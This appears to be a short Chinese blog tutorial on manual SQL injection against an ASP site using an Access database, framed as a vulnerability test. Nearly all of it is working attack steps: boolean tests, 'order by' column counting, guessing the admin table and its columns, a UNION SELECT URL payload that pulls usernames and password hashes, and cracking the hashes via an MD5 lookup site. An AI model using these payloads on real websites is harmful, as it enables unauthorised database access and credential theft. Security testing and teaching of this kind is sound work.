SQL手工注入漏洞测试(Access数据库)

Access数据库的SQL手工注入,用联合语句显示可显字段时,必须要“from 表名”。

1、判断注入点。

/new_list.asp?id=1 and 1=1访问成功;/new_list.asp?id=2 and 1=2访问失败。

2、判断列的情况。

order by x,x=1、2、3、4时成功,5、6时失败。

/new_list.asp?id=2 order by 4;

3、测试关键表名,因为Access用联合语句显示可显字段时,必须要“from 表名”,所以需要先猜表名。通常access数据库都有admin表;

and exists(select count(*) from admin),页面返回正常,说明存在admin表。

4、 查找回显字段。
image.png
5、枚举字段:正常则页面不报错;通常access表会存在以下三个字段;

id,username,passwd或者password

id=1 and exists(select id from admin) //页面返回正常,说明存在id列 id=1 and exists(select username from admin) //页面返回正常,说明存在username列 id=1 and exists(select passwd from admin) //页面返回正常,说明存在passwd列

6、查询用户和密码。

/new_list.asp?id= 1%20 union select 1,username,passwd,4 from admin

7、MD5网站解码成功。

你可能感兴趣的:(SQL手工注入漏洞测试(Access数据库))